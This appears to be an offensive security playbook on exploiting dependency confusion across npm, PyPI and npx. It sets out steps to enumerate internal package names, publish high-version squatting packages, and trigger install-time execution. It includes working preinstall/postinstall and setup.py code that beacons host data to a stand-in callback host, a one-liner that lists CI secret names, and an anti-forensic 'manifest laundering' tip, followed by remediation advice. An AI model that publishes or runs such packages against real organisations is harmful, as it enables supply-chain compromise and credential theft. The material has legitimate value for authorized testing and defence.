Exploiting Dependency Confusion
When to Use
- During authorized assessments where you can recover application manifests or lockfiles (
package.json,requirements.txt,pom.xml,*.csproj,go.mod,Cargo.toml,Gemfile) - When a target leaks internal package names through public JS bundles, error messages, CI logs, or exposed
.gitdirectories - When the build tooling is configured with both internal and public registries and is allowed to pick the "best" version globally
- When testing CI/CD runners that fetch dependencies and hold cloud credentials, signing keys, or deploy secrets
- When you spot
npx <binary>invocations in repos, docs, or CI definitions (binary-name takeover variant)
Prerequisites
- Authorization: Written engagement scope explicitly permitting publishing test packages to public registries
- Registry accounts: npm, PyPI, NuGet, RubyGems accounts for publishing PoC packages
- Unique markers: Engagement-specific package versions and out-of-band callback infrastructure (Burp Collaborator, interactsh, your own DNS)
- Cleanup plan: Ability to unpublish/yank packages immediately when testing concludes
Critical: Variants Most Often Missed
Scanners usually only check "is the internal npm name unclaimed publicly". The real attack surface is broader. Test every variant below.
# 1. Non-existent / abandoned internal name -> public registry fallback.
# Internal "company-logging" no longer exists; resolver finds your public package.
# 2. Version preference across registries (THE #1 MISS).
# Internal index has company-utils@1.0.1; you publish company-utils@9.99.99
# publicly. Resolver that sees both picks the higher version.
# 3. Typosquatting an imported public name.
# App imports "reqests" / "djngo" / "loadsh" -> register the misspelling.
# 4. Scoped-package binary takeover via npx (no registry precedence needed).
# Real package @company/tool exposes unscoped binary "tool".
# `npx tool` outside the dep context fetches PUBLIC "tool".
# 5. Transitive / subdependency hijack.
# Internal package depends on an internal transitive name that is public-claimable.
# 6. Maven groupId / Go module path / NuGet ID-pattern squatting.
# com.company.* , github.com/your-org/* , Company.* prefixes inferred from leaks.
Minimal npm PoC package that proves install-time execution without touching app logic:
{
"name": "company-internal-utils",
"version": "99.99.99",
"scripts": {
"preinstall": "node poc.js",
"postinstall": "node poc.js"
}
}
// poc.js -- benign proof only: beacon hostname + cwd, no data theft
const os = require('os');
const https = require('https');
const id = encodeURIComponent(os.hostname() + '|' + process.cwd());
https.get('https://ENGAGEMENT.oast.fun/dc/' + id);
For Python, prefer import-time execution (wheels do not run arbitrary code on
install by default); a malicious setup.py in an sdist runs on pip install:
# setup.py in a source distribution
import os, urllib.request
urllib.request.urlopen("https://ENGAGEMENT.oast.fun/dc/" + os.uname().nodename)
from setuptools import setup
setup(name="company-internal", version="99.0.0")
How to CONFIRM a hit (avoid false negatives)
Code execution in supply-chain attacks is asynchronous and often runs on a CI box you cannot see, so rely on out-of-band signals, not HTTP responses:
- DNS/HTTP callback fired to your unique
ENGAGEMENT.oast.funsubdomain — the request source IP, hostname, andcwdconfirm where it ran. - Egress-blocked targets: fall back to a DNS-only beacon (DNS exfil) or encode proof into an error message the build surfaces.
- CI log markers: messages like
The following package was not found and will be installed(npx) or your package name appearing in install logs. - Lockfile diff: the resolved registry URL points at the public registry for an internal name.
- Treat ANY callback carrying the target's hostname/CI runner identity as a confirmed install-time RCE; do not require a shell.
Workflow
Step 1: Enumerate Internal Package Names
# Grep recovered repos / bundles / CI configs for manifests and internal namespaces
grep -rEi "(@[a-z0-9-]+/|company-|internal\.|com\.company)" . \
--include=package.json --include=*.lock --include=requirements*.txt \
--include=pom.xml --include=*.csproj --include=go.mod --include=Cargo.toml
# Pull names out of public JS bundles (webpack chunk names, sourcemaps)
curl -s https://target.example.com/static/main.js | grep -oE '"@[a-z0-9-]+/[a-z0-9-]+"'
# Look for npx invocations (binary-name takeover candidates)
grep -rE "npx [a-z0-9@/_-]+" . docs/ .github/ .gitlab-ci.yml 2>/dev/null
Step 2: Check Public Registry Availability
# npm: 404 means the name is unclaimed and squattable
npm view company-internal-utils # E404 -> claimable
# PyPI
curl -s -o /dev/null -w "%{http_code}" https://pypi.org/pypi/company-internal/json # 404 -> claimable
# NuGet
curl -s "https://api.nuget.org/v3-flatcontainer/company.internal/index.json"
Step 3: Publish a Version That Wins Resolution
# npm - publish with a very high semver so "best version" picks yours
npm publish # package.json version: 99.99.99, with preinstall/postinstall hook
# PyPI - upload an sdist (executes setup.py on install) with high version
python -m build && twine upload dist/*
# For npx binary takeover, bind a matching bin entry:
# "bin": { "tool": "./cli.js" } then publish public package named "tool"
Step 4: Trigger and Capture Execution
# Wait for CI/dev installs, or trigger an install in scope:
npm install # or npm ci (note: npm ci STILL runs lifecycle scripts)
pip install company-internal
# Watch your OOB listener for callbacks
interactsh-client # or monitor Burp Collaborator / your DNS logs
Step 5: Demonstrate Impact (Authorized)
# On CI runners the hook runs before tests and often sees secrets.
# Prove access WITHOUT exfiltrating real data - beacon env var NAMES only:
node -e "console.log(Object.keys(process.env).filter(k=>/TOKEN|KEY|SECRET|AWS/.test(k)))"
# Reference the key NAMES in your report; never copy secret VALUES off-target.
Key Concepts
| Concept | Description |
|---|---|
| Dependency Confusion | Resolver fetches an internal name from a public registry because both sources are visible at resolution time |
| Version Preference | "Best/newest version globally" rules let a high public version beat the internal one |
| Install-time Execution | npm preinstall/install/postinstall hooks run on npm install/npm ci without importing the lib |
| Import-time Execution | Python wheels do not run code on install; an sdist setup.py does, so prefer sdist or import paths |
| npx Binary Takeover | npx <name> falls back to installing a public package named <name> when no local bin matches |
| Subdependency Hijacking | Claiming internal transitive names when the top-level name already exists publicly |
| Manifest Laundering | Anti-forensic trick: run hook, delete dropper, restore a benign manifest |
Tools & Systems
| Tool | Purpose |
|---|---|
| interactsh / Burp Collaborator | Out-of-band DNS/HTTP callbacks to confirm asynchronous code execution |
| npm / pip / nuget / gem CLIs | Publishing PoC packages and querying registry availability |
| confused (visma) | Scans manifests across ecosystems for dependency-confusion-prone names |
| snyk / depcheck | Inventorying declared vs resolved dependencies |
| grep / ripgrep | Mining repos, bundles, and CI configs for internal names and npx usage |
| gau / waybackurls | Discovering exposed manifests and bundles from historical crawl data |
Common Scenarios
Scenario 1: Leaked package.json Reveals Internal Scope
A public JS bundle references @acme/telemetry, which does not exist on the public npm registry. Publishing @acme/telemetry (or the unscoped fallback) with a postinstall hook results in a callback from the target's CI runner during the next build.
Scenario 2: Version Preference on a Mixed Index
The Python build uses --extra-index-url pointing at both an internal index and public PyPI. Internal acme-config is 1.4.0; publishing acme-config 9.0.0 as an sdist to PyPI makes the resolver pick the public package, executing setup.py on install.
Scenario 3: npx Binary-Name Takeover
A CI job runs npx build-assets. The real tool is the scoped @acme/build-assets, but its binary is unscoped. From a fresh workspace npm cannot find the local bin, assumes --yes in non-interactive mode, and installs the unclaimed public build-assets package, granting execution.
Output Format
## Dependency Confusion Finding
**Vulnerability**: Dependency Confusion / Supply-Chain Substitution
**Severity**: Critical (CVSS 9.1)
**Location**: CI build pipeline (npm install) resolving @acme/telemetry
**OWASP Category**: A08:2021 - Software and Data Integrity Failures
### Reproduction Steps
1. Recovered internal package name @acme/telemetry from https://target.example.com/static/main.js
2. Confirmed name unclaimed on public npm registry (npm view -> E404)
3. Published @acme/telemetry@99.99.99 with a benign preinstall beacon
4. Next CI build fetched the public package; received OOB callback from runner IP 203.0.113.10 with cwd /builds/acme/web
### Evidence
| Signal | Value |
|--------|-------|
| OOB callback host | ENGAGEMENT.oast.fun/dc/runner-acme-ci-01 |
| Source IP | 203.0.113.10 (target CI egress) |
| Execution context | preinstall hook, before test stage |
| Accessible secret names | AWS_ACCESS_KEY_ID, NPM_TOKEN (names only, not exfiltrated) |
### Recommendation
1. Route all installs through a single internal registry/proxy; block public fallback for internal namespaces
2. Bind internal scopes to the private registry (`@acme:registry=...`) and authenticate
3. Use immutable lockfiles (`npm ci`, `yarn install --immutable`) and hash pinning (`pip --require-hashes`, Gradle verification)
4. Reserve internal names/namespaces on public registries
5. Prefer `npx --package <expected> <binary>`; run CI from project root and fail closed when local bin is absent
6. Install with `--ignore-scripts` in sensitive stages; adopt a minimum-release-age gate for new versions